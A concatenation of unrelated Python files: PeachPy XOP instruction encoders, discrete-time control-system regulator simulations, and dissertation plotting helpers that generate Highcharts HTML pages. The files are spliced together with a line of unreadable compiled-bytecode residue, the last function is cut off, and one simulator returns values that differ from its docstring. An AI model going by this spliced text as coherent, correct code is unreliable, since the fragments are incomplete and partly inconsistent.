"""Extract Fraction Packed Double-Precision Floating-Point"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VFRCZPD(xmm, xmm/m128) [XOP]
* VFRCZPD(ymm, ymm/m256) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VFRCZPD, self).__init__("VFRCZPD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VFRCZPD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0x81, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0x81]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x7C, 0x81, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_ymm(self.operands[0]) and is_m256(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x04, op[0].hcode, op[1].address) + bytearray([0x81]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VFRCZPD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPERMIL2PD(Instruction):
"""Permute Two-Source Double-Precision Floating-Point Vectors"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPERMIL2PD(xmm, xmm, xmm, xmm/m128, imm4) [XOP]
* VPERMIL2PD(xmm, xmm, xmm/m128, xmm, imm4) [XOP]
* VPERMIL2PD(ymm, ymm, ymm, ymm/m256, imm4) [XOP]
* VPERMIL2PD(ymm, ymm, ymm/m256, ymm, imm4) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPERMIL2PD, self).__init__("VPERMIL2PD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 5:
raise SyntaxError("Instruction \"VPERMIL2PD\" requires 5 operands")
self.in_regs = (False, True, True, True, False)
self.out_regs = (True, False, False, False, False)
self.out_operands = (True, False, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x79 ^ (op[1].hlcode << 3), 0x49, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4 | op[4] & 0xF])))
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xF9 ^ (op[1].hlcode << 3), 0x49, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4 | op[4] & 0xF])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_m128(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x81, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0x49]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4 | op[4] & 0xF])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x01, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x49]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_ymm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x7D ^ (op[1].hlcode << 3), 0x49, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4 | op[4] & 0xF])))
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xFD ^ (op[1].hlcode << 3), 0x49, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_m256(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x85, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0x49]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_m256(self.operands[2]) and is_ymm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x05, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x49]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4 | op[4] & 0xF])))
else:
raise SyntaxError("Invalid operand types: VPERMIL2PD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPERMIL2PS(Instruction):
"""Permute Two-Source Single-Precision Floating-Point Vectors"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPERMIL2PS(xmm, xmm, xmm, xmm/m128, imm4) [XOP]
* VPERMIL2PS(xmm, xmm, xmm/m128, xmm, imm4) [XOP]
* VPERMIL2PS(ymm, ymm, ymm, ymm/m256, imm4) [XOP]
* VPERMIL2PS(ymm, ymm, ymm/m256, ymm, imm4) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPERMIL2PS, self).__init__("VPERMIL2PS", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 5:
raise SyntaxError("Instruction \"VPERMIL2PS\" requires 5 operands")
self.in_regs = (False, True, True, True, False)
self.out_regs = (True, False, False, False, False)
self.out_operands = (True, False, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_xmm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x79 ^ (op[1].hlcode << 3), 0x48, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4 | op[4] & 0xF])))
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xF9 ^ (op[1].hlcode << 3), 0x48, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4 | op[4] & 0xF])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_m128(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x81, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0x48]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4 | op[4] & 0xF])))
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_xmm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x01, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x48]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_ymm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x7D ^ (op[1].hlcode << 3), 0x48, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3].hlcode << 4 | op[4] & 0xF])))
self.encodings.append((0x00, lambda op: bytearray([0xC4, 0xE3 ^ (op[0].hcode << 7) ^ (op[3].hcode << 5), 0xFD ^ (op[1].hlcode << 3), 0x48, 0xC0 | op[0].lcode << 3 | op[3].lcode, op[2].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_ymm(self.operands[2]) and is_m256(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x85, op[0].hcode, op[3].address, op[1].hlcode) + bytearray([0x48]) + modrm_sib_disp(op[0].lcode, op[3].address, sib, min_disp) + bytearray([op[2].hlcode << 4 | op[4] & 0xF])))
elif is_ymm(self.operands[0]) and is_ymm(self.operands[1]) and is_m256(self.operands[2]) and is_ymm(self.operands[3]) and is_imm(self.operands[4]):
if not is_imm4(self.operands[4]):
raise ValueError("Argument #4 can not be encoded as imm4")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0xC4, 0b11, 0x05, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0x48]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3].hlcode << 4 | op[4] & 0xF])))
else:
raise SyntaxError("Invalid operand types: VPERMIL2PS " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
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[
"MIT"
] | null | null | null |
"""
Simulation functions for control system responses. Pairs best with the
plotting functions from control_plot
Requres numpy
"""
import numpy as np
import numpy.linalg as LA
def sim_regob_step(phi, gamma, C, L, K, T, x0, sim_time):
""" Simulate the response of the full order observer regulator.
Args:
phi (matrix): The discrete plant model A matrix
gamma (matrix): The discrete plant model B matrix
C (matrix): The output matrix
L (matrix): The gain matrix
K (matrix): The observer gain matrix
T: The sampling interval in seconds
x0 (matrix): The initial state
sim_time: The time to simulate to in seconds
Returns:
tuple: (t, u, x, xhat, y) Where t is the time array, u are the inputs,
x are the state variables, xhat are the estimated states, and y
are the outputs.
"""
t = np.arange(0, sim_time, T)
num_samples = len(t)
(num_states, num_inputs) = gamma.shape
(num_outputs, num_states) = C.shape
x = np.matrix(np.zeros((num_states, num_samples)))
xhat = np.matrix(np.zeros((num_states, num_samples)))
u = np.matrix(np.zeros((num_inputs, num_samples)))
y = np.matrix(np.zeros((num_outputs, num_samples)))
initial = np.matrix(x0)
if initial.shape[0] != num_states:
x[:, 0] = np.transpose(initial)
else:
x[:, 0] = initial
y[:, 0] = C * x[:, 0]
u[:, 0] = -L * x[:, 0]
xhat[:, 0] = LA.lstsq(C, y[:, 0])[0]
for i in range(1, num_samples):
x[:, i] = phi * x[:, i-1] + gamma * u[:, i-1]
y[:, i] = C * x[:, i]
xhat[:, i] = (phi - K * C) * xhat[:, i-1] + gamma * u[:, i-1] + K * y[:, i-1];
u[:, i] = -L * xhat[:, i]
return (u, x, xhat, y)
def sim_regsf(phi, gamma, L, T, x0, sim_time):
""" Simulate the response of the full state feedback regulator.
Args:
phi (matrix): The discrete plant model A matrix
gamma (matrix): The discrete plant model B matrix
L (matrix): The gain matrix
T: The sampling interval in seconds
x0 (matrix): The initial state
sim_time: The time to simulate to in seconds
Returns:
tuple: (t, u, x) Where t is the time array, u are the inputs, and x
are the state variables.
"""
t = np.arange(0, sim_time, T)
num_samples = len(t)
(num_states, num_inputs) = gamma.shape
x = np.matrix(np.zeros((num_states, num_samples)))
u = np.matrix(np.zeros((num_inputs, num_samples)))
initial = np.matrix(x0)
if initial.shape[0] != num_states:
x[:, 0] = np.transpose(initial)
u[:, 0] = -L * np.transpose(initial)
else:
x[:, 0] = initial
u[:, 0] = -L * initial
for i in range(1, num_samples):
x[:, i] = phi * x[:, i-1] + gamma * u[:, i-1]
u[:, i] = -L * x[:, i-1]
# Be consistent and return matrices that are the same shape np.step() would return
x = np.transpose(x)
u = np.transpose(u)
return (t, u, x)
def sim_regob(phi, gamma, C, L, K, T, x0, sim_time):
""" Simulate the response of the full order observer regulator.
Args:
phi (matrix): The discrete plant model A matrix
gamma (matrix): The discrete plant model B matrix
C (matrix): The output matrix
L (matrix): The gain matrix
K (matrix): The observer gain matrix
T: The sampling interval in seconds
x0 (matrix): The initial state
sim_time: The time to simulate to in seconds
Returns:
tuple: (t, u, x, xhat, y) Where t is the time array, u are the inputs,
x are the state variables, xhat are the estimated states, and y
are the outputs.
"""
t = np.arange(0, sim_time, T)
num_samples = len(t)
(num_states, num_inputs) = gamma.shape
(num_outputs, num_states) = C.shape
x = np.matrix(np.zeros((num_states, num_samples)))
xhat = np.matrix(np.zeros((num_states, num_samples)))
u = np.matrix(np.zeros((num_inputs, num_samples)))
y = np.matrix(np.zeros((num_outputs, num_samples)))
initial = np.matrix(x0)
if initial.shape[0] != num_states:
x[:, 0] = np.transpose(initial)
else:
x[:, 0] = initial
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u[:, 0] = -L * x[:, 0]
xhat[:, 0] = LA.lstsq(C, y[:, 0], rcond=None)[0]
for i in range(1, num_samples):
x[:, i] = phi * x[:, i-1] + gamma * u[:, i-1]
y[:, i] = C * x[:, i]
xhat[:, i] = (phi - K * C) * xhat[:, i-1] + gamma * u[:, i-1] + K * y[:, i-1];
u[:, i] = -L * xhat[:, i]
# Be consistent and return matrices that are the same shape np.step() would return
x = np.transpose(x)
u = np.transpose(u)
xhat = np.transpose(xhat)
y = np.transpose(y)
return (t, u, x, xhat, y)
def sim_tssf(phi, gamma, C, phia, gammaa, L1, L2, T, x0, ref, sim_time):
""" Simulate the response of the full order observer regulator.
Args:
phi (matrix): The discrete plant model A matrix
gamma (matrix): The discrete plant model B matrix
C (matrix): The output matrix
phia (matrix): The discrete additional dynamics A matrix
gammaa (matrix): The discrete additional dynamics B matrix
L1 (matrix): The state gain matrix
L2 (matrix): The additional dynamics gain matrix
T: The sampling interval in seconds
x0 (matrix): The initial state
ref (matrix): The reference input (target)
sim_time: The time to simulate to in seconds
Returns:
tuple: (t, u, x, y) Where t is the time array, u are the inputs,
x are the state variables, xhat are the estimated states, and y
are the outputs.
"""
t = np.arange(0, sim_time, T)
num_samples = len(t)
(num_states, num_inputs) = gamma.shape
(num_outputs, num_states) = C.shape
x = np.matrix(np.zeros((num_states, num_samples)))
xa = np.matrix(np.zeros((gammaa.shape[0], num_samples)))
u = np.matrix(np.zeros((num_inputs, num_samples)))
y = np.matrix(np.zeros((num_outputs, num_samples)))
initial = np.matrix(x0)
if initial.shape[0] != num_states:
x[:, 0] = np.transpose(initial)
else:
x[:, 0] = initial
y[:, 0] = C * x[:, 0]
u[:, 0] = -L1 * x[:, 0] + L2 * xa[:,0]
for i in range(1, num_samples):
x[:, i] = phi * x[:, i-1] + gamma * u[:, i-1]
xa[:, i] = phia * xa[:, i-1] + gammaa * (ref[:, i-1] - y[:, i-1])
y[:, i] = C * x[:, i]
u[:, i] = -L1 * y[:, i] + L2 * xa[:, i]
# Be consistent and return matrices that are the same shape np.step() would return
x = np.transpose(x)
u = np.transpose(u)
y = np.transpose(y)
return (t, u, x, y)
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R R ( ( ( ( t _t typet func_codet codet None( ( ( s .node.pyt <module> s 6
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#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This code is supporting material for the book
# Building Machine Learning Systems with Python
# by Willi Richert and Luis Pedro Coelho
# published by PACKT Publishing
#
# It is made available under the MIT License
import os
import json
import scipy as sp
import matplotlib.pyplot as plt
from pymote.logger import logger
from pymote.utils.filing import get_path
# plot input data
def plots(x, y, fname, ymax=None, xmin=None, ymin=None,
xlabel="X", ylabel="Y", title=None, labels="", more_plots=None, format='pdf', **kwargs):
title = title or fname
colors = ['g', 'k', 'b', 'm', 'r', 'c']
line_styles = ['o-', '-.', '--', 'o:', 'x-']
styles = ['go-', 'k-.', 'm.-', 'bx:', 'g.:', 'ro--']
plt.figure(num=None, figsize=(9, 6))
plt.clf()
if more_plots and isinstance(more_plots, list):
more_plots.insert(0, y)
for yy in more_plots:
#plt.plot(x, yy, linestyle=line_styles.pop(), linewidth=1, c=colors.pop())
try:
sty = styles.pop()
except:
sty = styles[0]
plt.plot(x, yy, sty)
#plt.plot(x, yy)
#plt.scatter(x, yy, s=10)
plt.legend(["%s" % m for m in labels], loc="upper left")
else:
plt.plot(x, y)
plt.scatter(x, y, s=10)
plt.title(title)
plt.xlabel(xlabel)
plt.ylabel(ylabel)
plt.autoscale(tight=True)
if ymin:
plt.ylim(ymin=ymin)
if ymax:
plt.ylim(ymax=ymax)
if xmin:
plt.xlim(xmin=xmin)
plt.grid(True, linestyle='-', color='0.75')
#plt.show()
if 'pdf' in format:
from matplotlib.backends.backend_pdf import PdfPages
with PdfPages(fname+".pdf") as pdf:
pdf.savefig(transparent=True)
d = pdf.infodict()
d['Title'] = title or kwargs.pop('title', fname)
d['Author'] = kwargs.pop('author', 'Farrukh Shahzad')
d['Subject'] = kwargs.pop('subject','PhD Dissertation Dec 2015 - KFUPM')
else:
plt.savefig(fname+'.'+format, format=format, transparent=True)
# plot bars input data
def plot_bars(x, y, fname, ymax=None, xmin=None, ymin=None,
xlabel="X", ylabel="Y", title=None, color='r', format='pdf', **kwargs):
title = title or fname
plt.figure(num=None, figsize=(9, 6))
plt.clf()
#plt.scatter(x, y, s=10)
width = 0.5
plt.bar(x-width/2, y, width, color=color)
plt.title(title)
plt.xlabel(xlabel)
plt.ylabel(ylabel)
plt.autoscale(tight=True)
if ymin:
plt.ylim(ymin=ymin)
if ymax:
plt.ylim(ymax=ymax)
if xmin:
plt.xlim(xmin=xmin)
plt.grid(True, linestyle='-', color='0.75')
#plt.show()
if 'pdf' in format:
from matplotlib.backends.backend_pdf import PdfPages
with PdfPages(fname+".pdf") as pdf:
pdf.savefig()
d = pdf.infodict()
d['Title'] = title or kwargs.pop('title', fname)
d['Author'] = kwargs.pop('author', 'Farrukh Shahzad')
d['Subject'] = kwargs.pop('subject','PhD Dissertation Dec 2015 - KFUPM')
else:
plt.savefig(fname+'.'+format, format=format, transparent=True)
def gethtmlLine(x, y, fname, folder="", axis_range={}, labels=None,
xlabel="X", ylabel="Y", title=None, color='r', comment=".", **kwargs):
title = title or fname
plot_type = 'spline'
if 'plot_type' in kwargs:
plot_type = kwargs.pop('plot_type', 'line')
plot_options = [""]
if 'plot_options' in kwargs:
plot_options = kwargs.pop('plot_options')
show_range = kwargs.pop('show_range', None)
circle = ""
if show_range:
circle = "allowPointSelect:true, marker: {states: {select: {lineColor: 'red', radius: " + str(show_range) + "}}},"
series_data = ''
k = 0
for series in y:
series_data += '''
{
name: "''' + (labels[k] if k < len(labels) else "") + '''",
''' + (plot_options[k] if k < len(plot_options) else "") + '''
data: ''' + str(series) + ''',
''' + circle + '''
},
'''
k += 1
contents = '''<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<title>'''+title+'''</title>
<script type='text/javascript' src='http://code.jquery.com/jquery-1.9.1.js'></script>
<style type='text/css'>
</style>
<script type='text/javascript'>//<![CDATA[
var chart;
var w;
$(function () {
w = $('#container').width()
$('#container').highcharts({
credits: {
enabled: false
},
exporting: {
filename: "''' + fname + '''"
},
legend: {
margin: -10, padding: 0, y: -5, //layout: 'vertical', align: 'right', verticalAlign: 'middle', shadow: true, backgroundColor: '#FFFFFF',
title: {
//text: 'Farrukh Shahzad<br/>PhD, KFUPM<br/>Nov. 2015</span>',
style: {fontStyle: 'italic', fontSize: '10px'}
}
},
chart: {
zoomType: 'xy', panning: true, panKey: 'shift',
type: "''' + plot_type + '''"
},
title: {
text: "''' + title + '''"
},
subtitle: {
text: "''' + comment + '''",
style: {color:'black', fontSize: '18px', fontFamily: 'Times'}
},
tooltip: {
borderRadius: 10,
crosshairs: [{width: 1, color: 'gray', dashStyle: 'shortdot'}, {width: 1, color: 'gray', dashStyle: 'shortdot'}],
pointFormat: '<span style="font-weight: bold; color: {series.color}">{series.name}</span>: <b>{point.y:.1f}</b><br />',
headerFormat: '<span style="font-size: 12px">''' + xlabel + ''' {point.key}</span><br />',
shared: true
},
xAxis: { // Primary xAxis
minRange : 5,
min: '''+ json.dumps(axis_range.get('xmin')) + ''', max: '''+ json.dumps(axis_range.get('xmax')) + ''',
title: {text: "'''+ xlabel + '''", y: -10, style: {color:'black'}}
},
yAxis: { // Primary yAxis
lineWidth: 1,
minPadding: 0.0,
maxPadding: 0.0,
min: '''+ json.dumps(axis_range.get('ymin')) + ''', max: '''+ json.dumps(axis_range.get('ymax')) + ''',
title: {text: "'''+ ylabel + '''", x: 10, style: {color:'black'}}
},
series: [''' + series_data + ''']
});
});
//]]>
</script>
</head>
<body>
<script src="http://code.highcharts.com/highcharts.js"></script>
<script src="http://code.highcharts.com/modules/data.js"></script>
<script src="http://code.highcharts.com/highcharts-more.js"></script>
<script src="http://code.highcharts.com/modules/exporting.js"></script>
<div id="container" style="height: 600px; margin: auto; min-width: 600px; max-width: 600px"></div>
</body>
</html>
'''
path = get_path(folder,fname) + ".html"
if 'open' in kwargs:
browseLocal(contents, filename=path)
else:
strToFile(contents, filename=path)
def gethtmlScatter(x, y, fname, folder="", axis_range={}, labels=None,
xlabel="X", ylabel="Y", title=None, comment=".", **kwargs):
w = 100
h = 100
title = title or fname
report = kwargs.pop('report', comment)
plot_type = 'scatter'
if 'plot_type' in kwargs:
plot_type = kwargs.pop('plot_type')
plot_options = [""]
if 'plot_options' in kwargs:
plot_options = kwargs.pop('plot_options')
show_range = kwargs.pop('show_range', 0)
circle = ""
if show_range:
circle = "allowPointSelect:true, marker: { states: { select: { lineColor: 'red', radius: " + str(show_range) + "}}},"
series_data = ""
series_line = ""
k=0
if len(y)>10:
series_data += '''
{
name: "''' + (labels[k] if k < len(labels) else "") + '''",
''' + (plot_options[k] if k < len(plot_options) else "") + '''
data: ''' + str(y) + ''',
''' + circle + '''
},
'''
else:
k=0
for series in y:
series_data += '''
{
name: "''' + (labels[k] if k < len(labels) else "") + '''",
''' + (plot_options[k] if k < len(plot_options) else "") + '''
data: ''' + str(series) + ''',
''' + circle + '''
},
'''
k += 1
if k > 1:
j = 0
for yy in y[1]:
try:
#print yy['name'], y[1][j]['name']
if yy['name'] == y[2][j]['name']:
yyx, yyy = yy['x'], yy['y']
yyx2, yyy2 = y[2][j]['x'], y[2][j]['y']
yyx2 = w + 3 if yyx2 > w + 3 else yyx2
yyx2 = -3 if yyx2 < -3 else yyx2
yyy2 = h + 3 if yyy2 > h+3 else yyy2
yyy2 = -3 if yyy2 < -3 else yyy2
series_line += "chart.renderer.path(['M', chart.xAxis[0].toPixels(" + str(yyx) + \
"), chart.yAxis[0].toPixels(" + str(yyy) + \
"), 'L', chart.xAxis[0].toPixels(" + str(yyx2) + \
"), chart.yAxis[0].toPixels(" + str(yyy2) + \
")]).attr({'stroke-width': 1, stroke: 'gray'}).add(group);"
j += 1
except (ValueError, Exception) as exc:
print exc
break
contents = '''<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<title>'''+title+'''</title>
<script type='text/javascript' src='http://code.jquery.com/jquery-1.9.1.js'></script>
<style type='text/css'>
</style>
<script type='text/javascript'>//<![CDATA[
var chart;
var w;
$(function () {
var group;
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$('#container').highcharts({
credits: {
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},
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filename: "''' + fname + '''"
},
legend: {
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//text: 'Farrukh Shahzad<br/>PhD, KFUPM<br/>Nov. 2015</span>',
style: {fontStyle: 'italic', fontSize: '10px'}
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},
chart: {
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},
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subtitle: {
text: "''' + comment + '''",
style: {color:'black', fontSize: '18px', fontFamily: 'Times'}
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crosshairs: [{width: 1, color: 'gray', dashStyle: 'shortdot'}, {width: 1, color: 'gray', dashStyle: 'shortdot'}],
pointFormat: 'X: {point.x:.1f}, Y: {point.y:.1f}',
headerFormat: '<b>Node: {point.key}</b>, {series.name}<br />',
shared: true
},
xAxis: [{ // Primary xAxis
//minRange : 5,
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title: { text: "'''+ xlabel + '''", y: -5, style: {color:'black'}}
}],
yAxis: [{ // Primary yAxis
lineWidth: 1,
minPadding: 0.0,
maxPadding: 0.0,
min: '''+ json.dumps(axis_range.get('ymin')) + ''', max: '''+ json.dumps(axis_range.get('ymax')) + ''',
title: {text: "'''+ ylabel + '''", x: 5, style: {color:'black'}}
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function (chart) { // on complete
group = chart.renderer.g().add();
'''+ series_line + '''
});''' + \
("$('#button').click(function () {if (vis) group.hide(); else group.show(); vis = !vis; });" if len(series_line)>1 else "") + \
'''
});
//]]>
</script>
</head>
<body>
<script src="http://code.highcharts.com/highcharts.js"></script>
<script src="http://code.highcharts.com/modules/data.js"></script>
<script src="http://code.highcharts.com/highcharts-more.js"></script>
<script src="http://code.highcharts.com/modules/exporting.js"></script>
<table border="0" align="center"><tr><td align="center">
<span id="container" style="height: 600px; margin: auto; min-width: 600px; max-width: 600px"></span>
''' + ("<button id='button'>Toggle Error Lines</button>" if len(series_line)>1 else "") + \
'''</td><td style="font-family: 'Lucida Console'; font-size: 12px; height: 600px; padding: 25px; max-width: 500px">
<span id="report" ><h3>''' + title + '''</h3>''' + \
report + '''<br><br>Click on the legend on the bottom to hide/show series</span>
</td></tr></table>
</body>
</html>
'''
path = get_path(folder,fname) + ".html"
if 'open' in kwargs:
browseLocal(contents, filename=path)
else:
strToFile(contents, filename=path)
def gethtmlmultiplots(x, y, fname, folder="", axis_range={}, labels=None,
xlabel="X", ylabel="Y", title=None, comment=".", **kwargs):
w = 100
h = 100
title = title or fname
report = kwargs.pop('report', comment)
plot_type = 'scatter'
if 'plot_type' in kwargs:
plot_type = kwargs.pop('plot_type')
plot_options = [""]
if 'plot_options' in kwargs:
plot_options = kwargs.pop('plot_options')
series_data = ""
k=0
if len(y)>10:
series_data += '''
{
name: "''' + (labels[k] if k < len(labels) else "") + '''",
''' + (plot_options[k] if k < len(plot_options) else "") + '''
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'''
else:
for series in y:
series_data += '''
{
name: "''' + (labels[k] if k < len(labels) else "") + '''",
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data: ''' + str(series) + ''',
},
'''
k += 1
contents = '''<!DOCTYPE html>
<html>
<head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type">
<title>'''+title+'''</title>
<script type='text/javascript' src='http://code.jquery.com/jquery-1.9.1.js'></script>
<style type='text/css'>
</style>
<script type='text/javascript'>//<![CDATA[
var chart;
var w;
$(function () {
var group;
vis = true;
w = $('#container').width()
$('#container').highcharts({
credits: {
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},
exporting: {
filename: "''' + fname + '''"
},
legend: {
margin: -5, padding: 0, y: -5, //layout: 'vertical', align: 'right', verticalAlign: 'middle', shadow: true, backgroundColor: '#FFFFFF',
title: {
//text: 'Farrukh Shahzad<br/>PhD, KFUPM<br/>Nov. 2015</span>',
style: {fontStyle: 'italic', fontSize: '10px'}
}
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chart: {
zoomType: 'xy', panning: true, panKey: 'shift',
type: "''' + plot_type + '''"
},
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text: "''' + title + '''"
},
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</head>
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</td><td style="font-family: 'Lucida Console'; font-size: 12px; height: 600px; padding: 25px; max-width: 500px">
<span id="report" ><h3>''' + title + '''</h3>''' + \
report + '''<br><br>Click on the legend on the bottom to hide/show series</span>
</td></tr></table>
</body>
</html>
'''
path = get_path(folder,fname) + ".html"
if 'open' in kwargs:
browseLocal(contents, filename=path)
else:
strToFile(contents, filename=path)
def strToFile(text, filename):
"""Write a file with the given name and the given text."""
output = open(filename,"w")
output.write(text)
output.close()
def browseLocal(webpageText='Test', filename='tempBrowseLocal.html'):
'''Start your webbrowser on a local file containing the text
with given filename.'''
